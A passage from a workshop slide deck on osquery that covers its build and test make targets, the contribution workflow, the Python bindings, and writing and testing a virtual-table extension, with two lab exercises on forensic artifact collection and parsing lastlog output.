    For linux VM, checkout Vagrantfile in the root of the project 3. Go into osquery folder and run: make deps && make 4. ??? 5. Profit Ref: https://osquery.readthedocs.io/en/stable/development/building/
  71. Development Workflow - Testing There are many macros that you

    can use to test osquery: make # Default optimized configure/build make test # Test the default build make debug # Configure and build non-optimized with debuginfo make test_debug # Test the debug build make build # Skip the CMake project configure (compile only) make debug_build # Same as build, but applied to the debug target make test_debug_build # Take a guess ;) make clean # Clean the CMake project configuration make distclean # Clean all cached information and build dependencies Ref: https://osquery.readthedocs.io/en/stable/development/unit-tests/
  72. Development Workflow - Formatting Formatting code: make format # Apply

    clang-format using osquery's format spec* make format-all # Not recommended but formats the entire code base Analyzing code: make analyze # Run clean first, then rebuild with the LLVM static analyzer make sanitize # Run clean first, then rebuild with sanitations
  73. Development Workflow - Writing Writing osquery code workflow: 1. Fork

    facebook/osquery github 2. Write code 3. Build the code (make deps && make) 4. Repeat 1 and 2 until you are happy 5. Write test cases and test your code (make test) 6. Repeat 5 until you are happy 7. Analyze the code (make analyze && make sanitize) 8. Formatting (make format) 9. Put up the pull request
  74. Python Bindings In osquery, SQL tables, configuration retrieval, log handling,

    etc are implemented via a simple, robust plugin and extensions API. The Python bindings allow you to create osquery extensions in Python.
  75. Python Bindings - Installing From osquery/osquery-python github: $ pip install

    git+git://github.com/osquery/osquery-python.git From pip package management $ pip install osquery
  76. Python Bindings - Playing import osquery if __name__ == "__main__":

    instance = osquery.SpawnInstance() instance.open() instance.client.query("select timestamp from time")
  77. Python Bindings - Playing import osquery # <- Import the

    python module if __name__ == "__main__": instance = osquery.SpawnInstance() instance.open() instance.client.query("select timestamp from time")
  78. Python Bindings - Playing import osquery # <- Import the

    python module if __name__ == "__main__": # Spawn an osquery process using an ephemeral extension socket. instance = osquery.SpawnInstance() instance.open() # <- open the instance to talk instance.client.query("select timestamp from time")
  79. Python Bindings - Playing import osquery # <- Import the

    python module if __name__ == "__main__": # Spawn an osquery process using an ephemeral extension socket. instance = osquery.SpawnInstance() instance.open() # <- open the instance to talk # Issues queries and call osquery Thrift APIs. print(instance.client.query("select timestamp from time"))
  80. Python Bindings - Running $ python simply.py # Running our

    code ExtensionResponse(status=ExtensionStatus(message='OK', code=0, uuid=0), response=[{'timestamp': 'Mon Aug 1 19:09:43 2016 UTC'}])
  81. Python Bindings - Running $ python simply.py # Running our

    code ExtensionResponse(status=ExtensionStatus(message='OK', code=0, uuid=0), response=[{'timestamp': 'Mon Aug 1 19:09:43 2016 UTC'}]) # NOTE # ExtensionResponse() - response structure # status - tells status the request # message - status message # code - status code # uuid - uuid # response - result of the request in list
  82. Lab #4 - Writing custom python extensions What? In this

    lab, you are an analyst. You want to write a script to collect forensic artifacts from an infected host. You want to collect all the things since you don’t know what is wrong with the host. How? Using osquery… We have provided you a template called lab4_collect_artifacts.py. You should use this collect the following information: timestamp, users, groups, system_info, crontab, arp_cache, etc_hosts, etc_services, dns_resolvers, listening_ports, kernel_modules, processes TL;DR - Your job is to complete all the TODOs in lab #4.
  83. Python Bindings - Virtual Table import osquery @osquery.register_plugin class MyTablePlugin(osquery.TablePlugin):

    def name(self): return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",)
  84. Python Bindings - Virtual Table import osquery # < import

    the python module @osquery.register_plugin # < register plugin decorator class MyTablePlugin(osquery.TablePlugin): # Extending the table base def name(self): return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Initialization 1. Import osquery module 2. Register the plugin 3. Extend the table from osquery.TablePlugin
  85. Python Bindings - Virtual Table import osquery # < import

    the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # Name of the table return "foobar" def columns(self): return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Define table name
  86. Python Bindings - Virtual Table import osquery # < import

    the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # < Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Define columns “foo” and “baz”
  87. Python Bindings - Virtual Table import osquery # < import

    the python module @osquery.register_plugin # < register plugin decorator # Extending the table base class MyTablePlugin(osquery.TablePlugin): def name(self): # < Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): # Populate content of the columns query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Populate the rows content of the table
  88. Python Bindings - Virtual Table import osquery # < import

    the python module @osquery.register_plugin # < register plugin decorator class MyTablePlugin(osquery.TablePlugin): # Extending the table base def name(self): # Name of the table return "foobar" def columns(self): # Name of the columns return [ osquery.TableColumn(name="foo", type=osquery.STRING), osquery.TableColumn(name="baz", type=osquery.STRING), ] def generate(self, context): # Populate content of the columns query_data = [] for _ in range(2): row = {} row["foo"] = "bar" row["baz"] = "baz" query_data.append(row) return query_data if __name__ == "__main__": # Start the extension osquery.start_extension(name="my_awesome_extension", version="1.0.0",) Start the extension
  89. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi

    --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...)
  90. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi

    --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...) In Terminal 1, figure out the socket. DO NOT CLOSE THIS TERMINAL. LEAVE IT RUNNING.
  91. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi

    --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...) In Terminal 2, Launch your python extension with flag --socket and specify the socket file defined in previous slide. This will put your code in an infinite loop. Now, go back to Terminal 1.
  92. Python Bindings - Testing Virtual Table ## TERMINAL 1 osqueryi

    --nodisable_extensions --verbose osquery> select value from osquery_flags where name = 'extensions_socket'; +-----------------------------------+ | value | +-----------------------------------+ | /Users/USERNAME/.osquery/shell.em | +-----------------------------------+ # ... osquery> select * from foobar; +-----+-----+ | foo | baz | +-----+-----+ | bar | baz | | bar | baz | +-----+-----+ ## TERMINAL 2 python ./my_table_plugin.py --socket /Users/USERNAME/.osquery/shell.em # (... This will stay in infinite loop...) In Terminal 1, Run a simple SQL statement to query your table foobar.
  93. Lab 5 - Writing a table virtual table In this

    lab, you will learn how to write a virtual table for osquery in python. In Linux, there is a command called lastlog that formats and prints the contents of the last login log file, /var/log/lastlog. Your job will be: 1. Play with lastlog command 2. Understand the output format 3. Parse the output format in python. TL;DR - Your job is to complete all the TODOs in Lab #5.